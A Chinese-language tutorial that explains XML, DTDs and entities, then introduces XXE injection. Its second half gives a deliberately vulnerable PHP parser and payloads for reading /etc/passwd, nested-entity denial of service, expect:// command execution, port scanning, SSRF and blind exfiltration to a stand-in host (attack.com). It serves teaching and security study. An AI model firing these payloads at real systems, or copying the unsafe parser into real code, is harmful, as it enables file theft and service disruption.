初见XXE
初见XXE
这是什么?XXE,注一下。这是什么?XXE,注一下。这是什么?XXE,注一下。这是什么?XXE,注一下。这是什么?XXE,注一下。这是什么?XXE,注一下。这是什么?XXE,注一下。这是什么?XXE,注一下。这是什么?XXE,注一下。这是什么?XXE,注一下。
什么是XML呢
XML,全称可扩展标记语言,XML是一种用于存储和传输数据的语言。与HTML一样,XML使用标签和数据的树状结构。但不同的是,XML不使用预定义标记,因此可以为标记指定描述数据的名称。由于json的出现,xml的受欢迎程度大大下降。
XML文档结构包括XML声明+DTD文档类型定义+文档元素
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title> <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author> <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->
其中<note>
是根元素,每个XML文档必须包含一个根元素。
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。
standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。
DTD
DTD基本概念
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的。
DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。
实体引用
XML元素以形如 <tag>foo</tag>
的标签开始和结束,如果元素内部出现如<
的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用(entity reference)替换特殊字符。XML预定义五个实体引用,即用< > & ' "
替换 < > & ' "
。
实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为 Document Type Defination(DTD,文档类型定义)的过程中进行。
dtd的引入方式
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
内部 DTD
使用内部的dtd文件,即将约束规则定义在xml文档中
<!DOCTYPE 根元素名称 [元素声明]>
示例代码:
<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
外部 DTD
(1)引入外部的dtd文件
<!DOCTYPE 根元素名称 SYSTEM "dtd路径">
(2)使用外部的dtd文件(网络上的dtd文件)
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">
当使用外部DTD时,通过如下语法引入:
<!DOCTYPE root-element SYSTEM "filename">
示例代码:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
test.dtd
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
PCDATA
PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。
被解析的字符数据不应当包含任何&
,<
,或者>
字符,需要用&
<
>
实体来分别替换。
CDATA
CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
DTD元素
DTD属性
属性声明语法:
<!ATTLIST 元素名称 属性名称 属性类型 默认值>
DTD实例:
<!ATTLIST payment Luckey CDATA "Q">
XML实例:
<payment Luckey="Q" />
以下是 属性类型的选项
默认属性值可使用下列值:
DTD实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。
按实体有无参分类,实体分为一般实体和参数实体
一般实体的声明:<!ENTITY 实体名称 "实体内容">
引用一般实体的方法:&实体名称;
ps:经实验,普通实体可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用。
参数实体的声明:<!ENTITY % 实体名称 "实体内容">
引用参数实体的方法:%实体名称;
ps:经实验,参数实体只能在DTD中引用,不能在声明前引用,也不能在实体声明内部引用。
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
按实体使用方式分类,实体分为内部声明实体和引用外部实体
内部实体
<!ENTITY 实体名称 "实体的值">
内部实体示例代码:
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY writer "Dawn">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>
外部实体
外部实体,用来引入外部资源。有SYSTEM
和PUBLIC
两个关键字,表示实体来自本地计算机还是公共计算机。
<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
外部实体示例代码:
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&file;©right;</author>
外部实体可支持http、file等协议。不同程序支持的协议不同:
PHP支持的协议会更多一些,但需要一定的扩展:
PHP引用外部实体,常见的利用协议:
file://文件绝对路径 如:file:///etc/passwd
http://url/file.txt
php://filter/read=convert.base64-encode/resource=xxx.php
参数实体+外部实体
<!ENTITY % 实体名称 SYSTEM "URI/URL">
参数实体+外部实体示例代码:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
%file;
]>
%file
(参数实体)是在DTD中被引用的,而&file;
是在xml文档中被引用的。
XML外部实体注入(XXE)
XXE漏洞简介
XXE漏洞全称XML External Entity Injection 即XML外部实体注入。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞
XXE常见利用方式
与SQL相似,XXE漏洞也分为有回显和无回显
有回显,可以直接在页面中看到payload的执行结果或现象。
无回显,又称为blind xxe,可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件。
读取任意文件
首先准备一个有XXE漏洞的文件,这里以php文件为例
示例代码
<?php
$xml = simplexml_load_string($_REQUEST['xml']);
print_r($xml);//注释掉该语句即为无回显的情况
?>
构造payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///d://qwzf.txt" >
]>
<root>
<name>&file;</name>
</root>
或者
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
如果搭配vps弹shell的话需要在自己的VPS上写一个dtd
拒绝服务攻击
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>
若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。
大概的逻辑就是通过嵌套占用服务器的资源,来造成服务器的服务崩溃
RCE
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>
端口扫描
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080“>]>
<root>
<name>&xxe;</name>
</root>
盲注
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://attack.com/1.dto“>]>
<root>
<name>&xxe;</name>
</root>
SSRF
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>
X-Include
<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>